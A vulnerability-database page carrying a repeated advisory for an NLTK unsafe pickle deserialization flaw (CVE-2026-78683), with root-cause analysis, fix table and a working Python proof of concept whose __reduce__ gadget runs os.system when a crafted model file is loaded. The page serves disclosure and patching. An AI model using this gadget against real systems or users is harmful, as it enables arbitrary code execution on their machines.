Action not permitted
Modal body text goes here.
Modal Title
Modal Body
PYSEC-2026-3734
Vulnerability from pysec - Published: 2026-08-25 02:16 - Updated: 2026-09-01 08:54NLTK before 3.10.0 (affected versions <=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.
| Name | purl | nltk | pkg:pypi/nltk |
|---|
{
"affected": [
{
"ecosystem_specific": {},
"package": {
"ecosystem": "PyPI",
"name": "nltk",
"purl": "pkg:pypi/nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.8",
"0.9",
"0.9.3",
"0.9.4",
"0.9.5",
"0.9.6",
"0.9.7",
"0.9.8",
"0.9.9",
"2.0.1",
"2.0.1rc1",
"2.0.1rc2-git",
"2.0.1rc3",
"2.0.1rc4",
"2.0.2",
"2.0.3",
"2.0.4",
"2.0.5",
"2.0b4",
"2.0b5",
"2.0b6",
"2.0b7",
"2.0b8",
"2.0b9",
"3.0.0",
"3.0.0b1",
"3.0.0b2",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.1",
"3.2",
"3.2.1",
"3.2.2",
"3.2.3",
"3.2.4",
"3.2.5",
"3.3",
"3.4",
"3.4.1",
"3.4.2",
"3.4.3",
"3.4.4",
"3.4.5",
"3.5",
"3.5b1",
"3.6",
"3.6.1",
"3.6.2",
"3.6.3",
"3.6.4",
"3.6.5",
"3.6.6",
"3.6.7",
"3.7",
"3.8",
"3.8.1",
"3.9",
"3.9.1",
"3.9.2",
"3.9.3",
"3.9.4",
"3.9b1"
]
}
],
"aliases": [
"CVE-2026-78683",
"GHSA-rhp5-r9x4-f5g2"
],
"details": "NLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.",
"id": "PYSEC-2026-3734",
"modified": "2026-09-01T08:54:51.968743Z",
"published": "2026-08-25T02:16:53.033Z",
"references": [
{
"type": "ADVISORY",
"url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
},
{
"type": "EVIDENCE",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
BREW-ACRONYM-CVE-2026-78683 (PYSEC-2026-3734)
Vulnerability from osv_homebrew – Published: 2026-09-02 08:43 – Updated: 2026-09-17 18:47 – Source websiteSummary
The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.
Root Cause
File: nltk/parse/transitionparser.py (lines 542-557)
The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).
Vulnerability chain in nltk/picklesec.py:
def pickle_load(file, *, context=None, restricted=False):
if restricted:
return RestrictedUnpickler(file).load() # Safe: blocks all globals
return WarningUnpickler(file, context=context).load() # VULNERABLE PATH
WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().
Why this is not by design:
- NLTK intentionally created RestrictedUnpickler to block unsafe deserialization
- The restricted=True parameter exists in the API but is never used by any production code path
- All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311
Attack Surface
Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.
Exploitation path:
1. Attacker places a malicious pickle file at a known or attacker-controlled location
2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl")
3. pickle_load() deserializes the file with restricted=False (default)
4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges
Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.
Steps to Reproduce
Environment
- NLTK version: 3.8.1+ (all versions with
transitionparser.py) - Python 3.6+
- No special dependencies required
Reproduction
-
Create a malicious pickle file that uses
__reduce__to execute a system command during deserialization. -
Call
TransitionParser().parse([], '/path/to/malicious_model.pkl'). -
The
pickle_load(f)call attransitionparser.py:557usesrestricted=Falseby default, routing throughWarningUnpickler, which does not overridefind_class()and permits full class resolution — executing the embedded gadget. -
Arbitrary code executes with the victim's privileges.
Proof That the Fix Works
Changing line 557 in transitionparser.py from:
model = pickle_load(f)
to:
model = pickle_load(f, restricted=True)
causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.
Working PoC
import pickle
import os
from nltk.parse.transitionparser import TransitionParser
# Create malicious pickle with RCE payload
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/nltk_poc_triggered',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard') # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely
# Exploit succeeds: file /tmp/nltk_poc_triggered is created
On NLTK ≥ 3.10.0 (patched), the same code fails with:
_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist
This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.
Recommended Fix
Change all call sites to use restricted=True:
| File | Line | Before | After |
|---|---|---|---|
nltk/parse/transitionparser.py |
557 | pickle_load(f) |
pickle_load(f, restricted=True) |
nltk/parse/chartparser_app.py |
816 | pickle_load(model_data_file) |
pickle_load(model_data_file, restricted=True) |
nltk/parse/chartparser_app.py |
2273 | pickle_load(file) |
pickle_load(file, restricted=True) |
nltk/parse/chartparser_app.py |
2311 | pickle_load(fp) |
pickle_load(fp, restricted=True) |
Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.10.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "acronym",
"purl": "pkg:brew/acronym"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.0_4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n if restricted:\n return RestrictedUnpickler(file).load() # Safe: blocks all globals\n return WarningUnpickler(file, context=context).load() # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n def __reduce__(self):\n return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027) # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027) # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
"id": "BREW-acronym-CVE-2026-78683",
"modified": "2026-09-17T18:47:55Z",
"published": "2026-09-02T08:43:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3631"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
"upstream": [
"PYSEC-2026-3734",
"CVE-2026-78683",
"GHSA-rhp5-r9x4-f5g2"
]
}
BREW-GPTLINE-CVE-2026-78683 (PYSEC-2026-3734)
Vulnerability from osv_homebrew – Published: 2026-09-02 09:04 – Updated: 2026-09-17 19:32 – Source websiteSummary
The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.
Root Cause
File: nltk/parse/transitionparser.py (lines 542-557)
The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).
Vulnerability chain in nltk/picklesec.py:
def pickle_load(file, *, context=None, restricted=False):
if restricted:
return RestrictedUnpickler(file).load() # Safe: blocks all globals
return WarningUnpickler(file, context=context).load() # VULNERABLE PATH
WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().
Why this is not by design:
- NLTK intentionally created RestrictedUnpickler to block unsafe deserialization
- The restricted=True parameter exists in the API but is never used by any production code path
- All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311
Attack Surface
Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.
Exploitation path:
1. Attacker places a malicious pickle file at a known or attacker-controlled location
2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl")
3. pickle_load() deserializes the file with restricted=False (default)
4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges
Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.
Steps to Reproduce
Environment
- NLTK version: 3.8.1+ (all versions with
transitionparser.py) - Python 3.6+
- No special dependencies required
Reproduction
-
Create a malicious pickle file that uses
__reduce__to execute a system command during deserialization. -
Call
TransitionParser().parse([], '/path/to/malicious_model.pkl'). -
The
pickle_load(f)call attransitionparser.py:557usesrestricted=Falseby default, routing throughWarningUnpickler, which does not overridefind_class()and permits full class resolution — executing the embedded gadget. -
Arbitrary code executes with the victim's privileges.
Proof That the Fix Works
Changing line 557 in transitionparser.py from:
model = pickle_load(f)
to:
model = pickle_load(f, restricted=True)
causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.
Working PoC
import pickle
import os
from nltk.parse.transitionparser import TransitionParser
# Create malicious pickle with RCE payload
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/nltk_poc_triggered',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard') # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely
# Exploit succeeds: file /tmp/nltk_poc_triggered is created
On NLTK ≥ 3.10.0 (patched), the same code fails with:
_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist
This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.
Recommended Fix
Change all call sites to use restricted=True:
| File | Line | Before | After |
|---|---|---|---|
nltk/parse/transitionparser.py |
557 | pickle_load(f) |
pickle_load(f, restricted=True) |
nltk/parse/chartparser_app.py |
816 | pickle_load(model_data_file) |
pickle_load(model_data_file, restricted=True) |
nltk/parse/chartparser_app.py |
2273 | pickle_load(file) |
pickle_load(file, restricted=True) |
nltk/parse/chartparser_app.py |
2311 | pickle_load(fp) |
pickle_load(fp, restricted=True) |
Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.10.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "gptline",
"purl": "pkg:brew/gptline"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.8"
},
{
"fixed": "1.0.8_22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n if restricted:\n return RestrictedUnpickler(file).load() # Safe: blocks all globals\n return WarningUnpickler(file, context=context).load() # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n def __reduce__(self):\n return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027) # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027) # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
"id": "BREW-gptline-CVE-2026-78683",
"modified": "2026-09-17T19:32:01Z",
"published": "2026-09-02T09:04:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3631"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
"upstream": [
"PYSEC-2026-3734",
"CVE-2026-78683",
"GHSA-rhp5-r9x4-f5g2"
]
}
BREW-SAFETY-CVE-2026-78683 (PYSEC-2026-3734)
Vulnerability from osv_homebrew – Published: 2026-09-02 09:53 – Updated: 2026-09-17 17:35 – Source websiteSummary
The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.
Root Cause
File: nltk/parse/transitionparser.py (lines 542-557)
The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).
Vulnerability chain in nltk/picklesec.py:
def pickle_load(file, *, context=None, restricted=False):
if restricted:
return RestrictedUnpickler(file).load() # Safe: blocks all globals
return WarningUnpickler(file, context=context).load() # VULNERABLE PATH
WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().
Why this is not by design:
- NLTK intentionally created RestrictedUnpickler to block unsafe deserialization
- The restricted=True parameter exists in the API but is never used by any production code path
- All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311
Attack Surface
Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.
Exploitation path:
1. Attacker places a malicious pickle file at a known or attacker-controlled location
2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl")
3. pickle_load() deserializes the file with restricted=False (default)
4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges
Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.
Steps to Reproduce
Environment
- NLTK version: 3.8.1+ (all versions with
transitionparser.py) - Python 3.6+
- No special dependencies required
Reproduction
-
Create a malicious pickle file that uses
__reduce__to execute a system command during deserialization. -
Call
TransitionParser().parse([], '/path/to/malicious_model.pkl'). -
The
pickle_load(f)call attransitionparser.py:557usesrestricted=Falseby default, routing throughWarningUnpickler, which does not overridefind_class()and permits full class resolution — executing the embedded gadget. -
Arbitrary code executes with the victim's privileges.
Proof That the Fix Works
Changing line 557 in transitionparser.py from:
model = pickle_load(f)
to:
model = pickle_load(f, restricted=True)
causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.
Working PoC
import pickle
import os
from nltk.parse.transitionparser import TransitionParser
# Create malicious pickle with RCE payload
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/nltk_poc_triggered',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard') # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely
# Exploit succeeds: file /tmp/nltk_poc_triggered is created
On NLTK ≥ 3.10.0 (patched), the same code fails with:
_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist
This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.
Recommended Fix
Change all call sites to use restricted=True:
| File | Line | Before | After |
|---|---|---|---|
nltk/parse/transitionparser.py |
557 | pickle_load(f) |
pickle_load(f, restricted=True) |
nltk/parse/chartparser_app.py |
816 | pickle_load(model_data_file) |
pickle_load(model_data_file, restricted=True) |
nltk/parse/chartparser_app.py |
2273 | pickle_load(file) |
pickle_load(file, restricted=True) |
nltk/parse/chartparser_app.py |
2311 | pickle_load(fp) |
pickle_load(fp, restricted=True) |
Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.10.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "safety",
"purl": "pkg:brew/safety"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.1"
},
{
"fixed": "3.8.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n if restricted:\n return RestrictedUnpickler(file).load() # Safe: blocks all globals\n return WarningUnpickler(file, context=context).load() # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** 